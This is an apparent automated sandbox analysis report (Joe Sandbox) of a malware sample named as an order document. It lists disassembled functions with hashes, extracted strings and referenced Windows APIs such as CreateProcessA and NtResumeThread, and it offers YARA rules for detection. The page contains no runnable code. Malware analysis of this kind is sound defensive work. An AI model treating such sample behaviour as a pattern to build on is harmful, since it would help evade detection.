Opcode ID: 365fe2b26435ddb9d337d6d593b67f0a03db15274ae9fdeb5151bb0401d681ba
Instruction ID: 241ddfb25b2df147ece0e1fc6c526314b1f85dfe5fdf649aff768e9af04dd35d
Opcode Fuzzy Hash: 365fe2b26435ddb9d337d6d593b67f0a03db15274ae9fdeb5151bb0401d681ba
Instruction Fuzzy Hash: 582103B1D013499FCB10DFAAD984ADEFBF5FF48310F20842AE519A3240D775A901CBA0

Function 06EE3518 Relevance: 1.6, APIs: 1, Instructions: 57nativethreadCOMMON

Download Yara Rule

APIs

NtResumeThread.NTDLL(?,?), ref: 06EE358E

Memory Dump Source

Source File: 00000000.00000002.1735915925.0000000006EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ee0000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: e2e31e3e917123abe2289d2eae86ad7706d7fef9be8789cad9034591ad87520e
Instruction ID: 63f40bdc1e79c732edd3ab68c783053fe68604d99a630d1ee2a6e7ae4e0df7b6
Opcode Fuzzy Hash: e2e31e3e917123abe2289d2eae86ad7706d7fef9be8789cad9034591ad87520e
Instruction Fuzzy Hash: AD21E3B19003498FCB10DFAAC4456AEFBF4EF88324F14842AD459A7240DB74A945CFA5

Function 06EE3520 Relevance: 1.6, APIs: 1, Instructions: 54nativethreadCOMMON

Download Yara Rule

APIs

NtResumeThread.NTDLL(?,?), ref: 06EE358E

Memory Dump Source

Source File: 00000000.00000002.1735915925.0000000006EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ee0000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 07842053262da182da0bdf05855be056a841e8ddd086a85e108501d66449c9d3
Instruction ID: 84ad907a7dd0d9fa55452e3024a4ae347f4ffad351648b4282122681680da2f6
Opcode Fuzzy Hash: 07842053262da182da0bdf05855be056a841e8ddd086a85e108501d66449c9d3
Instruction Fuzzy Hash: BA11D6B1D003498EDB10DFAAC44569FFBF5EF88324F10842AD419A7240DB74A945CFA5

Function 071ED6B0 Relevance: 1.5, Strings: 1, Instructions: 276COMMON

Download Yara Rule

Strings

Deq, xrefs: 071ED7B5

Memory Dump Source

Source File: 00000000.00000002.1736476977.00000000071D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_71d0000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID: Deq
API String ID: 0-948982800
Opcode ID: 15538f127c9ee83fcd65a1476ec0c8d0b3d2a8186ae0549199e900c4016a488c
Instruction ID: 6c2c2f61ae9e7945d2f5a465f0a9082411585407cc071ca73cb65b048dde67fb
Opcode Fuzzy Hash: 15538f127c9ee83fcd65a1476ec0c8d0b3d2a8186ae0549199e900c4016a488c
Instruction Fuzzy Hash: F4D1D474E00219CFDB54DFA9E994A9DBBB2FF88304F1081A9D409AB365DB34AD81CF51

Function 06D7A980 Relevance: 1.5, Strings: 1, Instructions: 275COMMON

Download Yara Rule

Strings

PH^q, xrefs: 06D7AC20

Memory Dump Source

Source File: 00000000.00000002.1735482960.0000000006D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d70000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID: PH^q
API String ID: 0-2549759414
Opcode ID: e6fbe1b6448a712bbc1b1bbe15b77c8a7ff5d775f2103e599d946765412a8af0
Instruction ID: 580bdc62d479e07fc91d9e829140ba16a7874df802fbbe4ad6f76653f2e0b7e0
Opcode Fuzzy Hash: e6fbe1b6448a712bbc1b1bbe15b77c8a7ff5d775f2103e599d946765412a8af0
Instruction Fuzzy Hash: C0C13A74E01218DFEB94CFA9D948BADBBF2FF49305F1480A9D449AB241EB745984CF02

Function 06D7A971 Relevance: 1.5, Strings: 1, Instructions: 269COMMON

Download Yara Rule

Strings

PH^q, xrefs: 06D7AC20

Memory Dump Source

Source File: 00000000.00000002.1735482960.0000000006D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d70000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID: PH^q
API String ID: 0-2549759414
Opcode ID: b29d9a54530b72a3f93f07bfb14c75bbf8e1d4d32cb3f554eea73b4724c60152
Instruction ID: 1a2983bca54952e66174f7fb9438a580572db1bfeec7d5f8dc8d65ef814f1eaf
Opcode Fuzzy Hash: b29d9a54530b72a3f93f07bfb14c75bbf8e1d4d32cb3f554eea73b4724c60152
Instruction Fuzzy Hash: 36C13974E01218CFEBA4CFA9D948BADBBF2FF45301F1480A9D449AB251EB745985CF02

Function 06D9D4D0 Relevance: 1.5, Strings: 1, Instructions: 243COMMON

Download Yara Rule

Strings

Te^q, xrefs: 06D9D61D

Memory Dump Source

Source File: 00000000.00000002.1735567654.0000000006D90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d90000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID: Te^q
API String ID: 0-671973202
Opcode ID: 805c515e170498f0c1ce52311b6f4fafcb22b13b1255180508802800b207075d
Instruction ID: 4594ca7b13832390ae81254e608cd2d2ed51ee90d5746993e5515b7851915cc3
Opcode Fuzzy Hash: 805c515e170498f0c1ce52311b6f4fafcb22b13b1255180508802800b207075d
Instruction Fuzzy Hash: 9BA1E774E05618CFDF94CFA9D984BADBBB2FF89304F20906AD40AA7241DB345985CF60

Function 06D9142C Relevance: .5, Instructions: 471COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1735567654.0000000006D90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d90000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 974a0ac743ab866d5a950a6cf1adc9ba9eb64e5d0354ff401491f74c2a2c9074
Instruction ID: 376177e9f56ff9b95eb8c440d48992653a0e2f2798d0125c109660c77284cd56
Opcode Fuzzy Hash: 974a0ac743ab866d5a950a6cf1adc9ba9eb64e5d0354ff401491f74c2a2c9074
Instruction Fuzzy Hash: AA329574A0422A8FCBA5DF28C994BA9B7B6FF48301F1481E9D54DA7351DB30AE81CF54

Function 06D9C788 Relevance: .3, Instructions: 318COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1735567654.0000000006D90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d90000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4dea54c342116ff206bd139841ee51a17954987e588adc9f6ceae9e95db3c09d
Instruction ID: 391023790614d6421f614a6d16d9651927b3c1a01731996a34427b18489f8140
Opcode Fuzzy Hash: 4dea54c342116ff206bd139841ee51a17954987e588adc9f6ceae9e95db3c09d
Instruction Fuzzy Hash: E8E10474E15218DFEFA4CF69D984BADBBF2BB49304F1080A9D049AB351DB749984CF60

Function 06D9C77B Relevance: .3, Instructions: 311COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1735567654.0000000006D90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d90000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aaf2901465a4ee56867f127ab89bc1bdbf0d9a1c1f266ece9dee574c63daf888
Instruction ID: ade3c9514fae757bf82759b0998aeef8f9dad7e79b7145500d2df1b910614585
Opcode Fuzzy Hash: aaf2901465a4ee56867f127ab89bc1bdbf0d9a1c1f266ece9dee574c63daf888
Instruction Fuzzy Hash: 56D11470E11218DFEFA4CF69D984BADBBF2FB49304F1084A9D149AB251DB748985CF60

Function 06D9C834 Relevance: .3, Instructions: 293COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1735567654.0000000006D90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d90000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f058ab680a1201d2401c7c6498374a962524267ba32f38ac0d8777a14a9b9dd
Instruction ID: 8de4f6a7c9ead5f02423b354cd08f707e263b3138b578bab190cd42a705c4efd
Opcode Fuzzy Hash: 2f058ab680a1201d2401c7c6498374a962524267ba32f38ac0d8777a14a9b9dd
Instruction Fuzzy Hash: 2BD10474E11218DFEFA4CF69D984BADBBF2BB49304F1080A9D109AB251DB749985CF60

Function 06D9CA33 Relevance: .3, Instructions: 273COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1735567654.0000000006D90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d90000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4996fac02d732ac90158768b1c2894e28db240580a9c7c3d70fc52a0d037d41a
Instruction ID: 898b0859cf05ea3801d2f8296df9c56e24987f5b0ca11cb464b415395d1ef648
Opcode Fuzzy Hash: 4996fac02d732ac90158768b1c2894e28db240580a9c7c3d70fc52a0d037d41a
Instruction Fuzzy Hash: ABC11370E15218DFEFA4CF69D984BADBBF2BF49304F1080A9D049AB251DB749985CF60

Function 06D79D98 Relevance: .3, Instructions: 269COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1735482960.0000000006D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d70000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 45f335f90d7f1f065ff0cf64dd0fc2f117a4bbb35ea30f2864f956a1b0d7ee61
Instruction ID: f5f288bc88f6d454640d68b42a041ee3ff4c8611f867052441d601ce5828f166
Opcode Fuzzy Hash: 45f335f90d7f1f065ff0cf64dd0fc2f117a4bbb35ea30f2864f956a1b0d7ee61
Instruction Fuzzy Hash: BDC1F974E05218CFEB54DF69D894BADBBB2FB89304F1080A9D509AB390DB349D85CF52

Function 06D90007 Relevance: .2, Instructions: 151COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1735567654.0000000006D90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d90000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 51716e81884f5c47e990a802a9d11d81af9ea4ed3a35e0b63f56a82d9692fb65
Instruction ID: e5b51790552405e6e3222c9c6e5bbc69120080fd819ab5cba6bc5c12a73e4e99
Opcode Fuzzy Hash: 51716e81884f5c47e990a802a9d11d81af9ea4ed3a35e0b63f56a82d9692fb65
Instruction Fuzzy Hash: 20512AB1E016588FEB19CF6BD84469ABBF3AFC9300F14C0BAD548AB255DB340981CF54

Function 06D78D91 Relevance: .1, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1735482960.0000000006D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d70000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 360c3631dc31dce5fe666918b34eb9c48d1215c3cb7a7d79a6daf978b4d50dc2
Instruction ID: 332e98a8fafb017fe89f04277e4492636b466d959f10a362bc00104c3cdcb6eb
Opcode Fuzzy Hash: 360c3631dc31dce5fe666918b34eb9c48d1215c3cb7a7d79a6daf978b4d50dc2
Instruction Fuzzy Hash: 07516574E05208CFDB94DFA8E4487EDBBB2FB99300F14903AD055AB244E7388945DB96

Function 06D78DA0 Relevance: .1, Instructions: 132COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1735482960.0000000006D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d70000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c24358bf12f93b3d9d0337cce337b4b88acfe1c434eaf09a341978fbf914ab3
Instruction ID: ad46621039b22b4419d6146adeef362cc382c0c5a66a8298d9181d06bc3be8fa
Opcode Fuzzy Hash: 8c24358bf12f93b3d9d0337cce337b4b88acfe1c434eaf09a341978fbf914ab3
Instruction Fuzzy Hash: 13416874E05218CFDB90DFA8E4487EDBBB6FB89300F14903AD059A7244E7788945DB96

Function 06D9427F Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1735567654.0000000006D90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d90000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd28867dbe1651cee9568fef195c07cfe8c419223d88fed3d5d1c449f65e998c
Instruction ID: 79975621f340045663460b7a214eaacebf5ee791c38e8e8f20b54dd1b78a83df
Opcode Fuzzy Hash: dd28867dbe1651cee9568fef195c07cfe8c419223d88fed3d5d1c449f65e998c
Instruction Fuzzy Hash: 39312B71D05658DFDB68CF6BD9442DDBBF3AFC9301F14C1AAD409AA225DA304A46CF50

Function 0192CA32 Relevance: 6.1, APIs: 4, Instructions: 134
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 0192CABE
GetCurrentThread.KERNEL32 ref: 0192CAFB
GetCurrentProcess.KERNEL32 ref: 0192CB38
GetCurrentThreadId.KERNEL32 ref: 0192CB91

Memory Dump Source

Source File: 00000000.00000002.1715886937.0000000001920000.00000040.00000800.00020000.00000000.sdmp, Offset: 01920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1920000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: c5dffaf94a283575ea5e9b7ec279dbae6d3d6437f71f7af162eeb4b9b8639950
Instruction ID: 8c85ebcc76e937e23368b95311bbdcc2ecd2f0e64371fdbdefb9ba729cbc05fa
Opcode Fuzzy Hash: c5dffaf94a283575ea5e9b7ec279dbae6d3d6437f71f7af162eeb4b9b8639950
Instruction Fuzzy Hash: A95186B09013498FDB18DFAAD848B9EFFF1EF89315F248459E009A72A0D7749984CF65

Function 0192CA40 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 0192CABE
GetCurrentThread.KERNEL32 ref: 0192CAFB
GetCurrentProcess.KERNEL32 ref: 0192CB38
GetCurrentThreadId.KERNEL32 ref: 0192CB91

Memory Dump Source

Source File: 00000000.00000002.1715886937.0000000001920000.00000040.00000800.00020000.00000000.sdmp, Offset: 01920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1920000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: ab5c3b9ed89ddaa143d75f5a938745be2080cf2095bcf08bd729f434d685a969
Instruction ID: 0e726a5cd0d250496d4de66a1eb814ea9575c03ed756be8b7f3a820f21020804
Opcode Fuzzy Hash: ab5c3b9ed89ddaa143d75f5a938745be2080cf2095bcf08bd729f434d685a969
Instruction Fuzzy Hash: 6B5174B09013098FDB18DFAAD448B9EBBF1EF89315F208419E019A7290DB745984CF65

Function 06D9E1F8 Relevance: 4.1, Strings: 3, Instructions: 370
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4'^q, xrefs: 06D9E412
4'^q, xrefs: 06D9E4F1
4'^q, xrefs: 06D9E571

Memory Dump Source

Source File: 00000000.00000002.1735567654.0000000006D90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d90000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$4'^q
API String ID: 0-1196845430
Opcode ID: a135adc93e45800ae19093695ce4e4867ddcdae5127abdc3a01b8b0cf6007235
Instruction ID: a4776f3cca85e053d2d72b78c73dc37f1a031c534cb5bf2e2fb095b1eb4c9ee3
Opcode Fuzzy Hash: a135adc93e45800ae19093695ce4e4867ddcdae5127abdc3a01b8b0cf6007235
Instruction Fuzzy Hash: D6F1FD34A00218DFCB54DFA4D998A9DBBB2FF89301F158558E906AB365DB70EC42CF90

Function 06D96424 Relevance: 3.8, Strings: 3, Instructions: 33
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

q, xrefs: 06D966C5
2, xrefs: 06D96215
C, xrefs: 06D961E9

Memory Dump Source

Source File: 00000000.00000002.1735567654.0000000006D90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d90000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID: 2$C$q
API String ID: 0-2527442695
Opcode ID: 04930699e22cd9b0cf402d49ee1ddad57bd59f226e5c132827e19461d9b70b3a
Instruction ID: fdc485a6b50e2fac33b9f3e96cba6a07705f40d969fb399c32ccdb4d1c6906f2
Opcode Fuzzy Hash: 04930699e22cd9b0cf402d49ee1ddad57bd59f226e5c132827e19461d9b70b3a
Instruction Fuzzy Hash: 05010470C06218CFEFA0CF64C849BDDBBB0EB0A314F245199C40972290CB748AC4CF65

Function 06D10D98 Relevance: 3.1, Strings: 2, Instructions: 577COMMON

Download Yara Rule

Strings

4'^q, xrefs: 06D11549
4'^q, xrefs: 06D11559

Memory Dump Source

Source File: 00000000.00000002.1734499959.0000000006D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d10000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q
API String ID: 0-2697143702
Opcode ID: 5b8d687567f4c005be25895a1666c3bf18e3d3e5a452f7e78972a7c21c63560d
Instruction ID: fd0123687a6dc563f9e2e0e35a805672b8de9c0977cb0c79e21e362633631bd5
Opcode Fuzzy Hash: 5b8d687567f4c005be25895a1666c3bf18e3d3e5a452f7e78972a7c21c63560d
Instruction Fuzzy Hash: 77420974E04219DFDF94DF99E8486ADBBB2FF88301F108015DA16AB754CB749982CF91

Function 06F1E7B9 Relevance: 3.0, Strings: 2, Instructions: 484
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$^q, xrefs: 06F1EAD3
$^q, xrefs: 06F1EAE3

Memory Dump Source

Source File: 00000000.00000002.1736016782.0000000006F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f10000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID: $^q$$^q
API String ID: 0-355816377
Opcode ID: 580bf814fd41094e5092aab26714790f5e556ac8295efd71d1ec0697aca20239
Instruction ID: e805b75ce0558d723fb4ab7f4a6059d262b129cf9087a5a1d79ee7a133bb7a33
Opcode Fuzzy Hash: 580bf814fd41094e5092aab26714790f5e556ac8295efd71d1ec0697aca20239
Instruction Fuzzy Hash: 77123A31E00259CFDB55DFA4D894ABDBBB6FF48780F148019E812AB395DB389D46CB90

Function 06D118C0 Relevance: 2.9, Strings: 2, Instructions: 362
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4'^q, xrefs: 06D11D66
4'^q, xrefs: 06D11D56

Memory Dump Source

Source File: 00000000.00000002.1734499959.0000000006D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d10000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q
API String ID: 0-2697143702
Opcode ID: e813dace590621d4e8b5e906b1471c3d2e9657b967288effeebca1cf96cdb304
Instruction ID: 8c65877e88d7d5eb69416399c8133062620bd14edfb744af586865ee50f1d017
Opcode Fuzzy Hash: e813dace590621d4e8b5e906b1471c3d2e9657b967288effeebca1cf96cdb304
Instruction Fuzzy Hash: 9EF1E534D01308EFDB94DFA9E8946ACBBB2FF49315F204129EA16AB350DB706985CF41

Function 06D11598 Relevance: 2.7, Strings: 2, Instructions: 231
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4'^q, xrefs: 06D11878
4'^q, xrefs: 06D11888

Memory Dump Source

Source File: 00000000.00000002.1734499959.0000000006D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d10000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q
API String ID: 0-2697143702
Opcode ID: 298e2037683862e1d3235cf26ca745ac42adb4d12625f407416f77ba171ebe44
Instruction ID: 1f1d42f4dff2163d8968daaeb76b5e824ade2d80e814f73fa6cec0e8bb1180be
Opcode Fuzzy Hash: 298e2037683862e1d3235cf26ca745ac42adb4d12625f407416f77ba171ebe44
Instruction Fuzzy Hash: 7BA1E574E0021DEFDB44DFA5E8586ADBBB2FF88302F14842ADA12AB350CB755941CF91

Function 06F1DD90 Relevance: 2.7, Strings: 2, Instructions: 177
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(bq, xrefs: 06F1DE96
Hbq, xrefs: 06F1DF25

Memory Dump Source

Source File: 00000000.00000002.1736016782.0000000006F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f10000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID: (bq$Hbq
API String ID: 0-4081012451
Opcode ID: 0a612940b2c57b20122f096ff6462f2021b37a5358209d5b88c9294fd29828bb
Instruction ID: 6f46d2f25c4381496e43923f642a10086aa6a3d7e512c68a5b063d340ba78de0
Opcode Fuzzy Hash: 0a612940b2c57b20122f096ff6462f2021b37a5358209d5b88c9294fd29828bb
Instruction Fuzzy Hash: D3518C34B002158FCB99AB38C86462EBBB3AFD9346B54446CD9069B7A0DF35DD02CB91

Function 06F40E91 Relevance: 2.6, Strings: 2, Instructions: 124COMMON

Download Yara Rule

Strings

<, xrefs: 06F401F3
2, xrefs: 06F40E9E

Memory Dump Source

Source File: 00000000.00000002.1736084354.0000000006F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f40000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID: 2$<
API String ID: 0-103380429
Opcode ID: 3553670792c55683db76449cea653d5ef990bef742642034efa4094c3736e0b0
Instruction ID: 09fe0bb84707f039071b9ddd39315e62c55d419cba17f77bba10230a174d950a
Opcode Fuzzy Hash: 3553670792c55683db76449cea653d5ef990bef742642034efa4094c3736e0b0
Instruction Fuzzy Hash: 5051E274D01258CFEBA0DF58D888BD9BBB1AB45305F0094EAC10EBB650CB745AC9CF25

Function 06F124A0 Relevance: 2.5, Strings: 2, Instructions: 47COMMON

Download Yara Rule

Strings

5, xrefs: 06F12543
h, xrefs: 06F12573

Memory Dump Source

Source File: 00000000.00000002.1736016782.0000000006F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f10000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID: 5$h
API String ID: 0-1868625573
Opcode ID: 246934c35599c349d2769eeaee0fd687ebef6a6bbf7e65a290b9851b2d7547f2
Instruction ID: c8ece18f6e7c2b48a148adefd3656af9295ad4f53df0731ffddf3d4bc584f8d7
Opcode Fuzzy Hash: 246934c35599c349d2769eeaee0fd687ebef6a6bbf7e65a290b9851b2d7547f2
Instruction Fuzzy Hash: CB21E9B4A44618CFCBA4DF28D8987A9BBB1BB48341F5041E9D64EE7390DB305E84CF45

Function 06D961C1 Relevance: 2.5, Strings: 2, Instructions: 22COMMON

Download Yara Rule

Strings

2, xrefs: 06D96215
C, xrefs: 06D961E9

Memory Dump Source

Source File: 00000000.00000002.1735567654.0000000006D90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d90000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID: 2$C
API String ID: 0-3331529056
Opcode ID: aa0cbc533168d0c0b35dfa819b0bfd52325bc85be36eeead6c80c741c954d472
Instruction ID: 7571f9cb6070c87f7b49223561e2a573219ba33d60790939ebb853c4dd091967
Opcode Fuzzy Hash: aa0cbc533168d0c0b35dfa819b0bfd52325bc85be36eeead6c80c741c954d472
Instruction Fuzzy Hash: 82F0AF70902229CFEFA0CF64C888B8DBBB1FB09315F2485E9C409B2250C7749AC1CF65

Function 06D9F0D8 Relevance: 1.9, Strings: 1, Instructions: 677COMMON

Download Yara Rule

Strings

,bq, xrefs: 06D9F453

Memory Dump Source

Source File: 00000000.00000002.1735567654.0000000006D90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d90000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID: ,bq
API String ID: 0-2474004448
Opcode ID: edb81795a80583db3deefa6c82c2fcaa693ca2a274d3b25b6f33e85271c2de76
Instruction ID: f64428c993514122cb3b401843fc14de0a06a43d4fb1bbf16b25ad699ab88a22
Opcode Fuzzy Hash: edb81795a80583db3deefa6c82c2fcaa693ca2a274d3b25b6f33e85271c2de76
Instruction Fuzzy Hash: CC52F875A002289FDB64DF69C990BADBBF2BB88301F1541D9E509EB351DA309E81CF61

Function 06F1F340 Relevance: 1.8, Strings: 1, Instructions: 531COMMON

Download Yara Rule

Strings

(_^q, xrefs: 06F1F5CD

Memory Dump Source

Source File: 00000000.00000002.1736016782.0000000006F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f10000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID: (_^q
API String ID: 0-538443824
Opcode ID: 68c0c8bc6b30b113743f347a6d4301fa48f5cd45f6256e87a1a32ab7a2edfc5b
Instruction ID: 8fbe97eaf546ad330b524b378047fd3a7b3373aa23d73260279b316e456f2c22
Opcode Fuzzy Hash: 68c0c8bc6b30b113743f347a6d4301fa48f5cd45f6256e87a1a32ab7a2edfc5b
Instruction Fuzzy Hash: AB226935A002089FDB44DFA8D894A6DB7F2BF88340F558469E905EF3A5CB71ED41CB90

Function 06F1FB45 Relevance: 1.7, Strings: 1, Instructions: 491COMMON

Download Yara Rule

Strings

Pl^q, xrefs: 06F1FC98

Memory Dump Source

Source File: 00000000.00000002.1736016782.0000000006F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f10000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID: Pl^q
API String ID: 0-2831078282
Opcode ID: 13732b9e2af2b93709a3bd820cdc3b4f81123a8d330d1e395e8f1a3946ac5112
Instruction ID: 9f37b7c8f77bae5d457832cffda3ad25aaa8de28dfb79a97e75bab5977900458
Opcode Fuzzy Hash: 13732b9e2af2b93709a3bd820cdc3b4f81123a8d330d1e395e8f1a3946ac5112
Instruction Fuzzy Hash: 5D51F274B002098FDB44DF28C894A6A7BE6BF89740F1540A5E905DF3B5DB70ED41CB91

Function 06EE2B46 Relevance: 1.7, APIs: 1, Instructions: 207processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 06EE2D2A

Memory Dump Source

Source File: 00000000.00000002.1735915925.0000000006EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ee0000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 6023d2b917dfa75c710875ed600ae1456a503172bcae908014917a7f639d05c5
Instruction ID: 50ad430690c9864e44dc9b3a389a013dcc6c567ff5f5078b688cc744d0bf209d
Opcode Fuzzy Hash: 6023d2b917dfa75c710875ed600ae1456a503172bcae908014917a7f639d05c5
Instruction Fuzzy Hash: 86814571E007198FDB50CFA9C8817AEBBF6BF48314F148529E959EB284DB749981CF81

Function 06EE2B50 Relevance: 1.7, APIs: 1, Instructions: 201processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 06EE2D2A

